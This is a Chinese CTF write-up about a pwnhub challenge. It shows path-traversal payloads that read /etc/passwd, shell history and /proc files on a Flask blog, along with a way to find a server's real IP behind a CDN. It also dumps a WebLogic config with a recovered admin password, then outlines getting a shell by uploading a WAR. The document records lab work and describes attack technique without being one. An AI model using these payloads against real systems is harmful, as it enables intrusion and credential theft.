LoRexxar's Blog | 信息技术分享

pwnhub_找朋友

2016/12/18

先膜tomato师傅出的题,偷马桶师傅出的题一直都是渗透思路,这点我是服的,顺手膜小m…因为在找真是ip这一步我花了十几个小时都失败了,当时的思路还留在博客里,算是个纪念吧…

首先下载下来判断文件类型是一个win程序,猜测是类似于木马样式,于是虚拟机打开抓包,发现了请求向http://shell.pwnme.site,但是无论通过whois反查还是别的,都没有收获,那么唯一的思路是扫子域名。

于是扫一波域名找到了http://blog.pwnme.site,一个python的站,有一些信息:
1、存在登陆注册,user_login和user_register,登陆后从源码里看到了file_download
2、file_download可以读文件,我们找到了web.pyconfig.py,然后找到了models.py,但是没有找到任何收获。
3、阅读源码发现读文件可以绕过,filename=templates/../../../../../etc/hosts,但是没有任何想法,这里猜测有别的站,但是百度云加速过了cdn,我们没办法得到真实ip。

(1)在没有任何cve和特殊漏洞影响下,我们获取真实ip的唯一办法应该是ssrf,但是我们有能力读文件,那么什么文件会记录请求的ip的。
(2)有个新想法,dns历史解析

这里走了太远的弯路,最开始读文件的时候/etc/passwd被过滤了,但是没觉得有什么太大的影响,所以也就没想着绕,阅读得到很多信息,这里有两种绕过方式

1
2
3
4
filename=templates/../../../../../etc/./././passwd

filename=templates/../../../../../etc/passwd&filename=config.py
python和php解析参数不一样,不存在什么参数覆盖的影响。

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
bl4ck:x:1001:1001:bl4ck,,,:/home/bl4ck:/bin/bash
oracle:x:1002:1002::/u01/oracle:/bin/bash

其实有很多信息,首先就是存在bl4ck用户,读这个用户的.viminfo.bash_history是很顺手的想法,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
# Jumplist (newest first):
-' 1 27 /tmp/aa.py
-' 2 17 /tmp/aa.py
-' 8 8 ~/blog/web.py
-' 1 0 ~/blog/web.py
-' 2 15 /u0/oraInst.loc
-' 1 0 /u0/oraInst.loc
-' 14 0 ~/weblogic/container-scripts/create-wls-domain.py
-' 1 0 ~/weblogic/container-scripts/create-wls-domain.py
-' 2 15 ~/weblogic/oraInst.loc
-' 1 0 ~/weblogic/oraInst.loc
-' 37 3 ~/blog/web.py
-' 2 15 ~/weblogic/oraInst.loc

这里发现除了web意外,还有weblogic,但是我们访问的blog.pwnme.site是过cdn的,那么问题又回到了最关键的部分,怎么得到服务器的真实ip

这里第一种是我上面提到的思路,就是找flask的日志,但是實在是孤陋寡闻了,这里没想到去读系统日志,再加上之前花了大量的时间去pwn题扫配置文件,包括各种proc下的东西,回到web题目的时候已经没想那么多了,当时稍微试了一下/proc/self/fd/1就没测试了。

关于proc的东西就不多说了,之前ph师傅发过

1
2
3
4
5
6
7
8
9
10
- /proc/mounts 文件系统列表
- /proc/cpuinfo CPU信息
- /proc/meminfo 内存信息
- /proc/self -> 指向 /proc/[当前进程pid]
- /proc/[pid]/cmdline 进程启动参数(可以获取一些敏感信息,如redis密码等)(可以跨进程,如pid=1的进程/proc/1/cmdline
- /proc/[pid]/mountinfo 文件系统挂载的信息(可以看到docker文件映射的一些信息,如果是运行在容器内的进程,通常能找到重要数据的路径:如配置文件、代码、数据文件等)
- /proc/[pid]/fd/[fd] 进程打开的文件(fd是文件描述符id)
- /proc/[pid]/exe 指向该进程的可执行文件

更多详情可以参考linux文档 链接:proc(5) - Linux manual page

还提到了关于标准输入输出的问题,也就是/proc/self/fd/1

1
和docker有关的(但不仅限于docker,比如扩展到supervisord也行得通)。大家知道,文件描述符0是标准输入、1是标准输出、2是标准错误,docker打开的web进程很可能是会将浏览记录和错误记录都输出在1里),甚至包括一些敏感信息(比如启动进程的时候输出一下配置信息什么的)。这时候多读取一下/proc/self/fd/1会有一些不一样的发现。

向ph师傅低头学习新姿势…

/proc/self/fd/4得到

1
2
3
4
5
6
222.128.2.100 - - [15/Dec/2016:02:41:53 +0000] "GET / HTTP/1.1"  200 2821 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36"
222.128.2.100 - - [15/Dec/2016:02:41:54 +0000] "GET /static/img/favicon.png HTTP/1.1" 200 - "http://blog.pwnme.site/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36"
222.128.2.100 - - [15/Dec/2016:02:41:54 +0000] "GET / HTTP/1.1" 200 2821 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36"
222.128.2.100 - - [15/Dec/2016:02:41:54 +0000] "GET /static/img/favicon.png HTTP/1.1" 200 -
...
HTTP/1.1" 404 1285 "http://54.223.115.219/phpmyadmin/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"

找到真实iphttp://54.223.115.219

这里tomato师傅给出了第二种解决办法,也就是我一直研究的获取dns解析历史记录,但我找到很多站都搜索不到,tomato给出了一个别的办法
https://passivetotal.org

1.png-43.8kB

只能瑟瑟发抖,这个结果我只在who.is和domaintools上搜到了,但都是收费的,没什么办法。

拿到真实ip,开始日weblogic。
http://54.223.115.219:7001/console

首先是想办法登陆,这里主要是两篇文章
http://bobao.360.cn/learning/detail/337.html

http://www.cnblogs.com/sevck/p/5729663.html

首先我们需要找到SerializedSystemIni.dat这个文件,那么这里选择先去读启动命令,在/proc/sched_debug里面找到

1
2
startWebLogic.s 13529    941778.614566         6   120         0.313721         1.292801         1.514692 0 0 /user.slice
startWebLogic.s 13530 941877.533691 63 120 0.036939 3.371997 41.001105 0 0 /user.slice

找到weblogic的进程号,得到

1
/u01/oracle/user_projects/domains/base_domain/bin/startWebLogic.sh

然后读配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/u01/oracle/user_projects/domains/base_domain/config/config.xml


<?xml version='1.0' encoding='UTF-8'?>
<domain xmlns="http://xmlns.oracle.com/weblogic/domain" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/security/wls http://xmlns.oracle.com/weblogic/security/wls/1.0/wls.xsd http://xmlns.oracle.com/weblogic/domain http://xmlns.oracle.com/weblogic/1.0/domain.xsd http://xmlns.oracle.com/weblogic/security/xacml http://xmlns.oracle.com/weblogic/security/xacml/1.0/xacml.xsd http://xmlns.oracle.com/weblogic/security/providers/passwordvalidator http://xmlns.oracle.com/weblogic/security/providers/passwordvalidator/1.0/passwordvalidator.xsd http://xmlns.oracle.com/weblogic/security http://xmlns.oracle.com/weblogic/1.0/security.xsd">
<name>base_domain</name>
<domain-version>12.2.1.2.0</domain-version>
<security-configuration>
<name>base_domain</name>
<realm>
<sec:authentication-provider xsi:type="wls:default-authenticatorType">
<sec:name>DefaultAuthenticator</sec:name>
</sec:authentication-provider>
<sec:authentication-provider xsi:type="wls:default-identity-asserterType">
<sec:name>DefaultIdentityAsserter</sec:name>
<sec:active-type>AuthenticatedUser</sec:active-type>
<sec:active-type>weblogic-jwt-token</sec:active-type>
</sec:authentication-provider>
<sec:role-mapper xmlns:xac="http://xmlns.oracle.com/weblogic/security/xacml" xsi:type="xac:xacml-role-mapperType">
<sec:name>XACMLRoleMapper</sec:name>
</sec:role-mapper>
<sec:authorizer xmlns:xac="http://xmlns.oracle.com/weblogic/security/xacml" xsi:type="xac:xacml-authorizerType">
<sec:name>XACMLAuthorizer</sec:name>
</sec:authorizer>
<sec:adjudicator xsi:type="wls:default-adjudicatorType">
<sec:name>DefaultAdjudicator</sec:name>
</sec:adjudicator>
<sec:credential-mapper xsi:type="wls:default-credential-mapperType">
<sec:name>DefaultCredentialMapper</sec:name>
</sec:credential-mapper>
<sec:cert-path-provider xsi:type="wls:web-logic-cert-path-providerType">
<sec:name>WebLogicCertPathProvider</sec:name>
</sec:cert-path-provider>
<sec:cert-path-builder>WebLogicCertPathProvider</sec:cert-path-builder>
<sec:name>myrealm</sec:name>
<sec:password-validator xmlns:pas="http://xmlns.oracle.com/weblogic/security/providers/passwordvalidator" xsi:type="pas:system-password-validatorType">
<sec:name>SystemPasswordValidator</sec:name>
<pas:min-password-length>8</pas:min-password-length>
<pas:min-numeric-or-special-characters>1</pas:min-numeric-or-special-characters>
</sec:password-validator>
</realm>
<default-realm>myrealm</default-realm>
<credential-encrypted>{AES}R/snIxxgRcp1CI5RAFqSfwD4c5tMvE/a63UivPEAj3v+8uf8y0X7OVZQj2wtJyWQDKK3Lz4jCdLrcASoqJ57H6GRBxsHm7wB64XPfploVqSpuBznH3dNWvMIig3I7cIK</credential-encrypted>
<node-manager-username>weblogic</node-manager-username>
<node-manager-password-encrypted>{AES}0N0Z2hoc1/b/72xxMrai1uG48m4LA6iIskgeu7ZUWaFbAWWcwoDSZo0RL8ANnCKG</node-manager-password-encrypted>
</security-configuration>
<server>
<name>AdminServer</name>
<listen-address></listen-address>
</server>
<production-mode-enabled>true</production-mode-enabled>
<embedded-ldap>
<name>base_domain</name>
<credential-encrypted>{AES}rcUpHoOEV8A6SSJspFM503PXtD1cOtBt4e3yewh94oA+ptKSL5XTLbIh1lXZygTP</credential-encrypted>
</embedded-ldap>
<configuration-version>12.2.1.2.0</configuration-version>
<app-deployment>
<name>1</name>
<target>AdminServer</target>
<module-type>war</module-type>
<source-path>servers/AdminServer/upload/1.war/app/1.war</source-path>
<plan-dir>servers/AdminServer/upload/1.war/plan</plan-dir>
<plan-path>Plan.xml</plan-path>
<security-dd-model>DDOnly</security-dd-model>
<staging-mode xsi:nil="true"></staging-mode>
<plan-staging-mode xsi:nil="true"></plan-staging-mode>
<cache-in-app-directory>false</cache-in-app-directory>
</app-deployment>
<app-deployment>
<name>1-1</name>
<target>AdminServer</target>
<module-type>war</module-type>
<source-path>servers/AdminServer/upload/1.war/app/1.war</source-path>
<plan-dir>servers/AdminServer/upload/1.war/plan</plan-dir>
<plan-path>Plan.xml</plan-path>
<security-dd-model>DDOnly</security-dd-model>
<staging-mode xsi:nil="true"></staging-mode>
<plan-staging-mode xsi:nil="true"></plan-staging-mode>
<cache-in-app-directory>false</cache-in-app-directory>
</app-deployment>
<app-deployment>
<name>1-2</name>
<target>AdminServer</target>
<module-type>war</module-type>
<source-path>servers/AdminServer/upload/1.war/app/1.war</source-path>
<plan-dir>servers/AdminServer/upload/1.war/plan</plan-dir>
<plan-path>Plan.xml</plan-path>
<security-dd-model>DDOnly</security-dd-model>
<staging-mode xsi:nil="true"></staging-mode>
<plan-staging-mode xsi:nil="true"></plan-staging-mode>
<cache-in-app-directory>false</cache-in-app-directory>
</app-deployment>
<admin-server-name>AdminServer</admin-server-name>
<resource-group>
<name>GlobalResourceGroup-0</name>
</resource-group>
</domain>

找到账号密码

1
weblogic/a84cb51a0c33a4db

这里思路就是很普通的传war拿shell,启动然后getshell,找到flag在/u01/里,差不多就这样。

CATALOG